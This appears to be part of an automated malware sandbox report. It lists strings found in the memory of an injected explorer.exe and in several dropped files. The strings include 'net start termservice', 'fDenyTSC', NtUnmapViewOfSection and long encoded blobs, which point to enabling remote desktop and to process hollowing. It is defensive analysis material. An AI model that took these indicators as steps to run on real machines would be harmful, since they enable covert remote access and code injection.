qFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: explorer.exe, 0000000D.00000002.1719815362.0000000000960000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: net start termservice
Source: explorer.exe, 0000000D.00000002.1719815362.0000000000960000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: explorer.exe, 0000000F.00000002.1787969074.0000000000220000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: net start termservice
Source: explorer.exe, 0000000F.00000002.1787969074.0000000000220000.00000002.00000001.01000000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: cckrnaa.10.dr String found in binary or memory: net start termservice
Source: cckrnaa.10.dr String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: pbxllkvlhugf.8.dr String found in binary or memory: net start termservice
Source: pbxllkvlhugf.8.dr String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
Source: djivmxg.2.dr String found in binary or memory: net start termservice
Source: djivmxg.2.dr String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setfae622981b45c94a11d1e551bdee1214f5a43204a66445ad0e09c0db80eb910b153632004d7d6de3766cb72a9a1dc6402e31acgWcX2NTgPXYUekysBNEbhBv8dpJoPJVcg24=Q2g02eXnPnJXOw2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKyn32coQ2g02eXnPnJXPA2p2cUbiwZmbKE=gWcX2NTgPXYUekysBNEbhBv8dpJoPKCn32coQzld2TnhK3KgciGlBSok3APUMqFs3r==SS8rDn==Zy4g3ySqOS5n5H==QSZn5H==3T3eEaK2DUxrPO==W3lV5OTqBnOY1O==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyJTVc4Q==Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8MOLi3juNcEOs2sEwfWra00NDZ3Vc4ePY3B==ZmZo325fzt7AyGCHTCeSysbpPXy7Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3VqZyhnZpQxvpCABaZHNqQUHe2YF=Z0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3R8HUTv3nOofDSl3dQffWZ3S0lA2xZr4XN8LTfi2HpaTk2sPwYogq==OVZOIMHNKl2AUSqFzG==2EJr4r==ZEcOMr==W0ZPfWU1inQ1h2U1g3Q13mo13XM1hGQ1iW814G413X21gH21g2g1hj4=33NgQt3h2Hq200qp3s8afArY33NgQt3h2Hp=32Bk4t3h2Hp=4DI=4TI=4TM=4TQ=YWJk38==fHVV4umsBx==fHVV4yK3Bz1=4Xlg4GBn325fhHQsgXRkjmprQ3JW2NTXUGQ+UGU+Q1Fn5Nbm2oFpPywmNw==kA==OnZp2OO6UQ==h2lg3xuwCjYedEp=f2Zt3dTpCABo1EqsW2ZVKdDX1YSfW1ez4wYjWQZccz==ZHNqQUHe2VKbfEycVV3wLSOdK32gfF7h3cX=VX3k4dC=X2Ju4xTv33mZKCqhO7==WVRAMr==ZGJpQxCdK3OdfVCp4xn=WGce5x7vyG7f0e==VV3CRz2rMx7XOXqN1UG13coQiK==VmpVQxTjPXYe1VB=Ymct5x7rZ2cr2x7wV2co3TPs02ppIxTjPXYe1VB=RDItDqOYDk6YQO==hmM=i2M=V2cp5xTr4DUOgVulE9EjhQrQb0Fl3eGo4mct3JZhOYKbQwui2TYk3AzofW4xBJQmQS4oCJYqIQty3T3XPXYUNSKp3TElgWfQbZcyE rfg3NoCNPe4Hx1KEYh2MXZMgL8eJImEprffWBg3dDqPUTcNg4FHT7r4HOofAUU5NEbScv8dKFw1NDaiGpq3 7sO4KffAUz4xMb2QUDDj4OIQsoCJYqBTT=QS4It8==U3Re4aYuQmtrQn==V2cp5xTr4DUOgVulE9E8gBvibZRl4xbogicZCOb04zUgd1CtBNYofAPkZ5coPNG=Z1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7S02t3xYQ3RDEZZ5pNvDogXFW5xTvJnyn1O==V2co4yTXPYCI0UUl3WNeQxTjP3ajckms2M8lgBzod6V54e4XjXsrDKGwDENWPx 5BLa=QXZp2NLsPHNnZ1pOMvTKNFGVelCl2dUtfWZQdpcwKTLT2ERq3ePv23q7XUYp4wYaZgfa0ZcgGRZH0FNKKwvTIVKzVZp=Z1pOMvTKNFGpdlKy2SAJ3RKmNGJgKTLrimpeQOL GnytcUGE1NQmfAzVYI3tPxLo0mpfQN7GHB==2DErDuy=WGZhPOTp4GGffFKp2cgpPfbI00Rz2yLTfWcpWGZhPOTp4GGffFKp2cgpPffI00Rz2yLTfWcpZ0cBMwbyKlO7VUej3cbpfWTQYIht2dHoi3QbKcP G4OsekOu4v2bghHfc58=ZHNqQyTg4FYbdUN=RjEsFH==RjEtD8==RjEsE8==RjEtEH==V3Zt4dTr4FCVcUqk2A==Tjs1hnZpQxvpCABo1ValQ2wbNnVc4Tro1XqmKA2mysbffMu9NiEhA zX1XUfd1O0ytH7NcS70JZwyr==Oi2bIOfm4DB=NiEhA zvPXXaNC2hzr==ZGcYQOHw1HOmdAYl5wX=QWZZQNLY4Hepdluv2wo iMvo0Z5z4xLsfWhpQNOdBVSjdENgy7==Ng==h2lW5xPs43XaNVFgBNT7Qu==h3U44n==hmJpQx7qX2Z0Pd7e3nJaVEy52TYQ1zvo0ZBzONG=RDErDuyXCUd=RDErDuyXCkB=RDErDuyXCkF=RDErDuyXC3R=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSC
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
